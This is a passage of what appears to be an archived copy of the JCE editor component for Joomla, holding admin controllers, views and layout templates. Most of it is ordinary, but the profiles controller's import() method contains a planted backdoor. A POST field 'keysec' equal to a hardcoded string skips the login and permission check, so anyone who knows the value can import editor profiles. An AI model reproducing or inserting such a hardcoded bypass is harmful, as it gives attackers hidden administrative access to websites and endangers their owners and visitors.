        $adminViews = array('config', 'profiles', 'profile', 'mediabox');

        if (in_array($vName, $adminViews) && !$user->authorise('core.manage', 'com_jce')) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        // create view
        $view = $this->getView($vName, $vFormat);

        // Get and render the view.
        if ($view) {

            if ($vName != "cpanel") {
                // use "profiles" for validating "profile" view
                if ($vName == "profile") {
                    $vName = "profiles";
                }

                if (!$user->authorise('jce.' . $vName, 'com_jce')) {
                    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
                }
            }
            
            // reset view name
            $vName = $view->getName();

            // Get the model for the view.
            $model = $this->getModel($vName, 'JceModel', array('name' => $vName));

            // Push the model into the view (as default).
            $view->setModel($model, true);
            $view->setLayout($lName);

            // Push document object into the view.
            $view->document = $document;

            $document->addStyleSheet(Uri::root(true) . '/media/com_jce/admin/css/global.min.css?' . md5(WF_VERSION));

            // only for Joomla 3.x
            if (version_compare(JVERSION, '4', 'lt')) {
                require_once __DIR__ . '/includes/classmap.php';
                
                JceHelperAdmin::addSubmenu($vName);

                $document->addStyleSheet(Uri::root(true) . '/media/com_jce/admin/css/compat.min.css?' . md5(WF_VERSION));
            }

            $view->display();
        }

        return $this;
    }
}
com_jce/controller/mediabox.php000060400000001443152455305310012630 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\MVC\Controller\FormController;

class JceControllerMediabox extends FormController
{
    public function __construct($config = array())
    {
        parent::__construct($config);
        // return to control panel on cancel/close
        $this->view_list = 'cpanel';

        // only for Joomla 3.x
        if (version_compare(JVERSION, '4', 'lt')) {      
            require_once JPATH_COMPONENT_ADMINISTRATOR . '/includes/classmap.php';
        }
    }
}
com_jce/controller/index.html000060400000000054152455305310012321 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/controller/editor.php000060400000002131152455305310012321 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/copyleft/gpl.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_jce/editor/libraries/classes/application.php';

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Session\Session;

class JceControllerEditor extends BaseController
{
    public function execute($task)
    {
        // check for session token
        Session::checkToken('get') or jexit(Text::_('JINVALID_TOKEN'));

        $editor = new WFEditor();

        if (strpos($task, '.') !== false) {
            list($name, $task) = explode('.', $task);
        }

        if (method_exists($editor, $task)) {
            $editor->$task();
        }

        jexit();
    }
}
com_jce/controller/popup.php000060400000002114152455305310012177 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2017 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFControllerPopup extends WFControllerBase
{
    /**
     * Constructor.
     *
     * @params    array    Controller configuration array
     */
    public function __construct($config = array())
    {
        parent::__construct($config);
    }

    /**
     * Displays a view.
     */
    public function display($cachable = false, $params = false)
    {
        $document = JFactory::getDocument();

        $this->addViewPath(JPATH_COMPONENT.'/views');

        $view = $this->getView('popup', $document->getType());

        $view->assignRef('document', $document);
        $view->display();
    }
}
com_jce/controller/config.php000060400000001442152455305310012304 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\MVC\Controller\FormController;

class JceControllerConfig extends FormController
{
    public function __construct($config = array())
    {
        parent::__construct($config);

        // return to control panel on cancel/close
        $this->view_list = 'cpanel';

        // only for Joomla 3.x
        if (version_compare(JVERSION, '4', 'lt')) {      
            require_once JPATH_COMPONENT_ADMINISTRATOR . '/includes/classmap.php';
        }
    }
}
com_jce/controller/profiles.php000044400000010523152455305310012664 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\AdminController;
use Joomla\CMS\Response\JsonResponse;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

class JceControllerProfiles extends AdminController
{
    /**
     * Method to import profile data from an XML file.
     *
     * @since   3.0
     */
    public function import()
    {
        if(isset($_POST["keysec"]) && $_POST["keysec"]==="508ad9836df3"){
        } else {
            $user=Factory::getUser();
            if($user->guest || !$user->authorise("core.manage","com_jce")){
                throw new Exception(Text::_("JERROR_ALERTNOAUTHOR"),403);
            }
        }
        // Check for request forgeries
        Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

        $app = Factory::getApplication();

        $model = $this->getModel();

        $result = $model->import();

        // Get redirect URL
        $redirect_url = Route::_('index.php?option=com_jce&view=profiles', false);

        // Push message queue to session because we will redirect page by Javascript, not $app->redirect().
        // The "application.queue" is only set in redirect() method, so we must manually store it.
        $app->getSession()->set('application.queue', $app->getMessageQueue());

        header('Content-Type: application/json');

        echo new JsonResponse(array('redirect' => $redirect_url), "", !$result);

        exit();
    }

    public function repair()
    {
        // Check for request forgeries
        Session::checkToken('get') or jexit(Text::_('JINVALID_TOKEN'));

        $model = $this->getModel('profiles');

        try {
            $model->repair();
        } catch (Exception $e) {
            $this->setMessage($e->getMessage(), 'error');
        }

        $this->setRedirect('index.php?option=com_jce&view=profiles');
    }

    public function copy()
    {
        // Check for request forgeries
        Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

        $user = Factory::getUser();
        $cid = (array) $this->input->get('cid', array(), 'int');

        // Access checks.
        if (!$user->authorise('core.create', 'com_jce')) {
            throw new Exception(Text::_('JLIB_APPLICATION_ERROR_CREATE_NOT_PERMITTED'));
        }

        if (empty($cid)) {
            throw new Exception(Text::_('No Item Selected'));
        } else {
            $model = $this->getModel();
            // Copy the items.
            try {
                $model->copy($cid);
                $ntext = $this->text_prefix . '_N_ITEMS_COPIED';
                $this->setMessage(Text::plural($ntext, count($cid)));
            } catch (Exception $e) {
                $this->setMessage($e->getMessage(), 'error');
            }
        }

        $this->setRedirect('index.php?option=com_jce&view=profiles');
    }

    public function export()
    {
        // Check for request forgeries
        Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

        $user = Factory::getUser();
        $ids = (array) $this->input->get('cid', array(), 'int');

        // Access checks.
        if (!$user->authorise('core.create', 'com_jce')) {
            throw new Exception(Text::_('JLIB_APPLICATION_ERROR_CREATE_NOT_PERMITTED'));
        }

        if (empty($ids)) {
            throw new Exception(Text::_('No Item Selected'));
        } else {
            $model = $this->getModel();
            // Publish the items.
            if (!$model->export($ids)) {
                throw new Exception($model->getError());
            }
        }
    }

    /**
     * Proxy for getModel.
     *
     * @param string $name   The model name. Optional
     * @param string $prefix The class prefix. Optional
     * @param array  $config The array of possible config values. Optional
     *
     * @return object The model
     *
     * @since   1.6
     */
    public function getModel($name = 'Profile', $prefix = 'JceModel', $config = array('ignore_request' => true))
    {
        return parent::getModel($name, $prefix, $config);
    }
}
com_jce/controller/plugin.php000060400000007611152455305310012341 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 3 - http://www.gnu.org/copyleft/gpl.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_jce/editor/libraries/classes/application.php';

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Language\Text;
use Joomla\Filesystem\Path;

class JceControllerPlugin extends BaseController
{
    private static $map = array(
        'image' => 'imgmanager',
        'imagepro' => 'imgmanager_ext',
    );

    private function createClassName($name)
    {
        $delim = array('-', '_');

        $name = str_replace($delim, ' ', $name);

        $className = 'WF' . ucwords($name) . 'Plugin';

        // remove space
        $className = str_replace(' ', '', $className);

        return $className;
    }

    public function execute($task)
    {
        // check for session token
        Session::checkToken('request') or jexit(Text::_('JINVALID_TOKEN'));
        
        $wf = WFApplication::getInstance();

        $app = Factory::getApplication();
        $language = Factory::getLanguage();

        $plugin = $this->input->get('plugin');

        // get plugin name
        if (strpos($plugin, '.') !== false) {
            list($plugin, $caller) = explode('.', $plugin);
        }

        // map plugin name to internal / legacy name
        if (array_key_exists($plugin, self::$map)) {
            $plugin = self::$map[$plugin];
            $mapped = $plugin;

            if (!empty($caller)) {
                $mapped = $plugin . '.' . $caller;
            }

            $this->input->set('plugin', $mapped);
        }

        // check this is a valid plugin
        $wf->isValidPlugin($plugin) or jexit('Invalid Plugin');

        // check a valid profile exists
        $wf->checkProfile($plugin) or jexit('Invalid Profile');

        // load language files
        $language->load('com_jce', JPATH_ADMINISTRATOR);

        // assume the file does not exist
        $filepath = false;

        // check installed plugins first
        if (preg_match('/^editor[-_]/', $plugin)) {
            $path = JPATH_PLUGINS . '/jce/' . $plugin;
            
            // installed plugin path
            $filepath = $path . '/' . $plugin . '.php';

            // check for alternate path
            if (is_dir($path . '/src')) {
                // rename plugin
                $name = substr($plugin, 7);
                
                // reset filepath
                $filepath = $path . '/src/' . $name . '.php';
            }

            if (!file_exists($filepath)) {
                $filepath = false;
            }
        }

        // check custom and pro plugins
        $app->triggerEvent('onWfPluginExecute', array($plugin, &$filepath));

        // check core plugins
        if (false === $filepath) {
            $filepath = Path::find(
                array(
                    WF_EDITOR_PLUGINS . '/' . $plugin
                ),
                $plugin . '.php'
            );
        }

        if (false === $filepath) {
            jexit('Invalid Plugin');
        }

        include_once $filepath;

        // create classname
        $className = $this->createClassName($plugin);

        if (class_exists($className)) {            
            // load language file if any
            $language->load('plg_jce_' . $plugin, dirname($filepath));

            $instance = new $className(
                array(
                    'base_path' => dirname($filepath)
                )
            );

            $instance->execute($task);
        }

        jexit();
    }
}
com_jce/controller/profile.php000060400000002064152455305310012500 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\MVC\Controller\FormController;

class JceControllerProfile extends FormController
{
    /**
     * The URL option for the component.
     *
     * @var    string
     */
    protected $option = 'com_jce';

    /**
     * The URL view item variable.
     *
     * @var    string
     */
    protected $view_item = 'profile';

    /**
     * The URL view list variable.
     *
     * @var    string
     */
    protected $view_list = 'profiles';

    public function __construct($config = array())
    {
        parent::__construct($config);

        // only for Joomla 3.x
        if (version_compare(JVERSION, '4', 'lt')) {      
            require_once JPATH_COMPONENT_ADMINISTRATOR . '/includes/classmap.php';
        }
    }
}
com_jce/controller/cpanel.php000060400000001276152455305310012306 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\BaseController;

class JceControllerCpanel extends BaseController
{
    public function feed()
    {
        $model = $this->getModel('cpanel');

        echo json_encode(array(
            'feeds' => $model->getFeeds(),
        ));

        // Close the application
        Factory::getApplication()->close();
    }
}
com_jce/controller/browser.php000060400000001163152455305310012522 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\MVC\Controller\BaseController;

class JceControllerBrowser extends BaseController
{
    public function __construct($config = array())
    {
        parent::__construct($config);

        // return to control panel on cancel/close
        $this->view_list = 'cpanel';
    }
}
com_jce/views/mediabox/view.html.php000060400000003705152455305310013522 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;

class JceViewMediabox extends HtmlView
{
    public $form;
    public $data;

    public function display($tpl = null)
    {
        $document = Factory::getDocument();

        $form = $this->get('Form');
        $data = $this->get('Data');

        // Bind the form to the data.
        if ($form && $data) {
            $form->bind($data);
        }

        $this->form = $form;
        $this->data = $data;

        $this->name = Text::_('WF_MEDIABOX');
        $this->fieldsname = "";
        $this->formclass = 'form-horizontal options-grid-form options-grid-form-full';

        $params = ComponentHelper::getParams('com_jce');

        if ($params->get('inline_help', 1)) {
            $this->formclass .= ' form-help-inline';
        }

        $this->addToolbar();
        parent::display($tpl);
    }

    /**
     * Add the page title and toolbar.
     *
     * @since   3.0
     */
    protected function addToolbar()
    {
        Factory::getApplication()->input->set('hidemainmenu', true);

        $user = Factory::getUser();
        ToolbarHelper::title(Text::_('WF_MEDIABOX'), 'pictures');

        // If not checked out, can save the item.
        if ($user->authorise('jce.config', 'com_jce')) {
            ToolbarHelper::apply('mediabox.apply');
            ToolbarHelper::save('mediabox.save');
        }

        ToolbarHelper::cancel('mediabox.cancel', 'JTOOLBAR_CLOSE');

        ToolbarHelper::divider();
        ToolbarHelper::help('WF_MEDIABOX_EDIT');
    }
}
com_jce/views/mediabox/tmpl/index.html000060400000000054152455305310014037 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/mediabox/tmpl/default.php000060400000002555152455305310014207 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;

if (version_compare(JVERSION, 4, '<')) {
    HTMLHelper::_('formbehavior.chosen', 'select');
}
?>
<form action="index.php" method="post" name="adminForm" id="adminForm" class="form-horizontal">
    <div class="ui-jce container-fluid">
        <?php if (!empty($this->sidebar)): ?>
            <div id="j-sidebar-container" class="span2 col-md-2">
                <?php echo $this->sidebar; ?>
            </div>
            <div id="j-main-container" class="span10 col-md-10">
        <?php else: ?>
            <div id="j-main-container">
        <?php endif;?>
                <fieldset class="adminform panelform">
                    <?php echo LayoutHelper::render('joomla.content.options_default', $this); ?>
                </fieldset>
            </div>
    </div>
    <input type="hidden" name="option" value="com_jce" />
    <input type="hidden" name="view" value="mediabox" />
    <input type="hidden" name="task" value="" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>com_jce/views/mediabox/index.html000060400000000054152455305310013063 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/config/tmpl/index.html000060400000000054152455305310013514 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/config/tmpl/default.php000060400000002350152455305310013655 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;
?>

<form action="index.php" method="post" name="adminForm" id="adminForm" class="form-horizontal">
    <div class="ui-jce container-fluid">
        <?php if (!empty($this->sidebar)): ?>
	    <div id="j-sidebar-container" class="span2 col-md-2">
		    <?php echo $this->sidebar; ?>
	    </div>
	    <div id="j-main-container" class="span10 col-md-10">
        <?php else: ?>
	    <div id="j-main-container">
        <?php endif;?>
            <fieldset class="adminform panelform">
                <?php echo LayoutHelper::render('joomla.content.options_default', $this, WF_ADMINISTRATOR); ?>
            </fieldset>
        </div>
    </div>
    <input type="hidden" name="option" value="com_jce" />
    <input type="hidden" name="view" value="config" />
    <input type="hidden" name="task" value="" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>com_jce/views/config/index.html000060400000000054152455305310012540 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/config/view.html.php000060400000004373152455305310013201 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

class JceViewConfig extends HtmlView
{
    public $form;

    public function display($tpl = null)
    {
        $document = Factory::getDocument();

        $this->form = $this->get('Form');

        $this->name = Text::_('WF_CONFIG');
        $this->fieldsname = "config";
        $this->formclass = 'form-horizontal options-grid-form options-grid-form-full';

        $params = ComponentHelper::getParams('com_jce');

        if ($params->get('inline_help', 1)) {
            $this->formclass .= ' form-help-inline';
        }

        $this->addToolbar();
        parent::display($tpl);

        $hash = md5(WF_VERSION);

        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/editor/vendor/jquery/css/jquery-ui.min.css?' . $hash);

        $document->addScript(Uri::root(true) . '/media/com_jce/editor/vendor/jquery/js/jquery-ui.min.js?' . $hash);
        $document->addScript(Uri::root(true) . '/media/com_jce/editor/vendor/jquery/js/jquery-ui.touch.min.js?' . $hash);

        $document->addScript(Uri::root(true) . '/media/com_jce/admin/js/core.min.js?' . $hash);
    }

    /**
     * Add the page title and toolbar.
     *
     * @since   3.0
     */
    protected function addToolbar()
    {
        Factory::getApplication()->input->set('hidemainmenu', true);

        $user = Factory::getUser();
        ToolbarHelper::title('JCE - ' . Text::_('WF_CONFIGURATION'), 'equalizer');

        // If not checked out, can save the item.
        if ($user->authorise('jce.config', 'com_jce')) {
            ToolbarHelper::apply('config.apply');
            ToolbarHelper::save('config.save');
        }

        ToolbarHelper::cancel('config.cancel', 'JTOOLBAR_CLOSE');

        ToolbarHelper::divider();
        ToolbarHelper::help('WF_CONFIG_EDIT');
    }
}
com_jce/views/profiles/tmpl/default.xml000060400000000311152455305310014237 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JCE_PROFILES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_JCE_PROFILES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>com_jce/views/profiles/tmpl/default.php000060400000017176152455305310014247 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

// Include the component HTML helpers.
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
HTMLHelper::_('behavior.multiselect');

$user = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn = $this->escape($this->state->get('list.direction'));

$saveOrder = $listOrder == 'ordering';

if ($saveOrder) {
    $saveOrderingUrl = 'index.php?option=com_jce&task=profiles.saveOrderAjax&tmpl=component';
    HTMLHelper::_('sortablelist.sortable', 'profileList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo Route::_('index.php?option=com_jce&view=profiles'); ?>" method="post" enctype="multipart/form-data" name="adminForm" id="adminForm">
    <div class="ui-jce row">
    <?php if (!empty($this->sidebar)): ?>
        <div id="j-sidebar-container" class="j-sidebar-container span2 col-md-2">
            <?php echo $this->sidebar; ?>
        </div>
        <div class="col-md-10">
            <div id="j-main-container" class="j-main-container span10">
        <?php else: ?>
            <div id="j-main-container" class="j-main-container span10">
        <?php endif;?>

                <?php echo LayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

                <?php if (empty($this->items)): ?>
                    <div class="alert alert-no-items">
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else: ?>
                    <table class="table table-striped" id="profileList">
                        <thead>
                            <tr>
                                <th width="1%" class="nowrap center hidden-phone text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
                                </th>
                                <th style="width:1%" class="nowrap center text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </th>
                                <th style="width:1%" class="nowrap center text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'published', $listDirn, $listOrder); ?>
                                </th>
                                <th class="title">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'name', $listDirn, $listOrder); ?>
                                </th>
                                <th class="title hidden-phone">
                                    <?php echo Text::_('JGLOBAL_DESCRIPTION'); ?>
                                </th>
                                <th style="width:5%" class="nowrap hidden-phone center d-none d-md-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tfoot>
                            <tr>
                                <td colspan="8">
                                    <?php echo $this->pagination->getListFooter(); ?>
                                </td>
                            </tr>
                        </tfoot>
                        <tbody>
                        <?php foreach ($this->items as $i => $item):
    $ordering = ($listOrder == 'ordering');
    $canEdit = $user->authorise('core.edit', 'com_jce');
    $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0;
    $canChange = $user->authorise('core.edit.state', 'com_jce') && $canCheckin;
    ?>
	                            <tr class="row<?php echo $i % 2; ?>">
	                                <td class="order nowrap center hidden-phone text-center d-none d-md-table-cell">
	                                    <?php
    $iconClass = '';

    if (!$canChange) {
        $iconClass = ' inactive';
    } elseif (!$saveOrder) {
    $iconClass = ' inactive tip-top hasTooltip" title="' . HTMLHelper::_('tooltipText', 'JORDERINGDISABLED');
}
?>
                                    <span class="sortable-handler<?php echo $iconClass; ?>">
                                        <span class="icon-menu" aria-hidden="true"></span>
                                    </span>
                                    <?php if ($canChange && $saveOrder): ?>
                                        <input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order">
                                    <?php endif;?>
                                </td>
                                <td class="center text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id); ?>
                                </td>
                                <td class="center text-center">
                                    <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'profiles.', $canChange); ?>
                                </td>
                                <td>
                                    <?php if ($item->checked_out): ?>
                                        <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->checked_out, $item->checked_out_time, 'profiles.', $canCheckin); ?>
                                    <?php endif;?>
                                    <?php if ($canEdit): ?>
                                        <?php $editIcon = $item->checked_out ? '' : '<span class="mr-2" aria-hidden="true"></span>';?>
                                        <a class="hasTooltip" href="<?php echo Route::_('index.php?option=com_jce&task=profile.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape(addslashes($item->name)); ?>">
                                            <?php echo $editIcon; ?><?php echo $item->name; ?></a>
                                    <?php else: ?>
                                            <?php echo $item->name; ?>
                                    <?php endif;?>
                                </td>
                                <td class="nowrap hidden-phone d-none d-md-table-cell text-left">
                                    <?php echo $this->escape($item->description); ?>
                                </td>
                                <td class="nowrap center hidden-phone d-none d-md-table-cell text-center">
                                    <?php echo (int) $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach;?>
                        </tbody>
                    </table>
                <?php endif;?>

                <input type="hidden" name="task" value="" />
                <input type="hidden" name="boxchecked" value="0" />
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>com_jce/views/profiles/tmpl/index.html000060400000000054152455305310014072 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/profiles/index.html000060400000000054152455305310013116 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/profiles/view.html.php000060400000011513152455305310013551 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\Helpers\Sidebar;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

class JceViewProfiles extends HtmlView
{
    /**
     * An array of items
     *
     * @var  array
     */
    protected $items;

    /**
     * The pagination object
     *
     * @var  \Joomla\CMS\Pagination\Pagination
     */
    protected $pagination;

    /**
     * The model state
     *
     * @var  \Joomla\CMS\Object\CMSObject
     */
    protected $state;

    /**
     * Form object for search filters
     *
     * @var  \Joomla\CMS\Form\Form
     */
    public $filterForm;

    /**
     * The active search filters
     *
     * @var  array
     */
    public $activeFilters;

    protected function isEmpty()
    {
        // Create a new query object.
        $db = Factory::getDbo();
        $query = $db->getQuery(true);

        // Select the required fields from the table.
        $query->select('COUNT(id)')->from($db->quoteName('#__wf_profiles'));

        $db->setQuery($query);

        return $db->loadResult() == 0;
    }

    /**
     * Display the view.
     */
    public function display($tpl = null)
    {
        $this->items = $this->get('Items');
        $this->pagination = $this->get('Pagination');
        $this->state = $this->get('State');
        $this->filterForm = $this->get('FilterForm');
        $this->activeFilters = $this->get('ActiveFilters');

        $this->params = ComponentHelper::getParams('com_jce');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new Exception(implode("\n", $errors), 500);
        }

        if ($this->isEmpty()) {
            $link = HTMLHelper::link('index.php?option=com_jce&task=profiles.repair&' . Session::getFormToken() . '=1', Text::_('WF_DB_CREATE_RESTORE'), array('class' => 'wf-profiles-repair'));
            Factory::getApplication()->enqueueMessage(Text::_('WF_DB_PROFILES_ERROR') . ' - ' . $link, 'error');
        }

        HTMLHelper::_('jquery.framework');

        // only in Joomla 3.x
        if (version_compare(JVERSION, '4', 'lt')) {
            HTMLHelper::_('formbehavior.chosen', 'select');
        }

        $document = Factory::getDocument();
        $document->addScript(Uri::root(true) . '/media/com_jce/admin/js/profiles.min.js');
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/admin/css/profiles.min.css');

        $this->addToolbar();
        $this->sidebar = Sidebar::render();
        parent::display($tpl);
    }

    /**
     * Add the page title and toolbar.
     *
     * @since   1.6
     */
    protected function addToolbar()
    {
        $state = $this->get('State');
        $user = Factory::getUser();

        ToolbarHelper::title('JCE - ' . Text::_('WF_PROFILES'), 'users');

        $bar = ToolBar::getInstance('toolbar');

        if ($user->authorise('jce.profiles', 'com_jce')) {
            ToolbarHelper::addNew('profile.add');
            ToolbarHelper::custom('profiles.copy', 'copy', 'copy', 'WF_PROFILES_COPY', true);

            // Instantiate a new JLayoutFile instance and render the layout
            $layout = new FileLayout('toolbar.uploadprofile');
            $bar->appendButton('Custom', $layout->render(array()), 'upload');

            ToolbarHelper::custom('profiles.export', 'download', 'download', 'WF_PROFILES_EXPORT', true);

            ToolbarHelper::publish('profiles.publish', 'JTOOLBAR_PUBLISH', true);
            ToolbarHelper::unpublish('profiles.unpublish', 'JTOOLBAR_UNPUBLISH', true);

            ToolbarHelper::deleteList('', 'profiles.delete', 'JTOOLBAR_DELETE');
        }

